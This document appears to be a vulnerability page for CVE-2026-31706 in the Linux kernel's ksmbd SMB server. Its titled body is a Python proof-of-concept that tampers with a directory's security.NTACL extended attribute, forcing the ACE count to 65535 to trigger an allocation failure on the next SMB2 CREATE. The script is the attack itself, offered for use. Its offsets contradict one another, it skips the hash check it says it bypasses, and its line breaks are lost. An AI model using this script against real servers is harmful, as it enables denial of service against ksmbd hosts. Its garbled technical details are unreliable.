CVE-2026-31706: Linux内核ksmbd内存错误漏洞

#!/usr/bin/env python3 # PoC Concept for CVE-2026-31706 # This script simulates the xattr tampering described in the vulnerability. # It requires a mounted filesystem where ksmbd is writing NTACLs. import os import sys import xattr # Path to the parent directory controlled by the attacker TARGET_DIR = "/path/to/smb/share/parent_dir" try: # 1. Create a directory (simulating valid setup) if not os.path.exists(TARGET_DIR): os.makedirs(TARGET_DIR) print(f"[+] Created directory: {TARGET_DIR}") # 2. Simulate the attack: Modify the security.NTACL xattr. # In a real scenario, the attacker would corrupt the blob bytes at offset 20 (num_aces) # to 0xFF 0xFF (65535) while keeping the hash valid to bypass ksmbd_vfs_get_sd_xattr(). # Retrieve existing attribute (assuming ksmbd set it initially) try: current_acl = xattr.get(TARGET_DIR, "security.NTACL") acl_list = list(current_acl) # 3. Tamper with num_aces field (usually at offset 4 in the DACL part, after structure headers) # This is a simplified representation. Real offset calculation depends on the SD structure. # Assuming DACL starts at offset 20 for this example. if len(acl_list) > 22: acl_list[20] = 0xFF # Low byte of num_aces acl_list[21] = 0xFF # High byte of num_aces tampered_acl = bytes(acl_list) xattr.set(TARGET_DIR, "security.NTACL", tampered_acl) print(f"[+] Successfully tampered num_aces to 65535 in {TARGET_DIR}") print("[+] Trigger: Creating a child directory via SMB2 CREATE now triggers the allocation failure.") else: print("[-] ACL blob too small to tamper.") except IOError as e: print(f"[-] Error manipulating xattr: {e}") except Exception as e: print(f"[-] Error: {e}")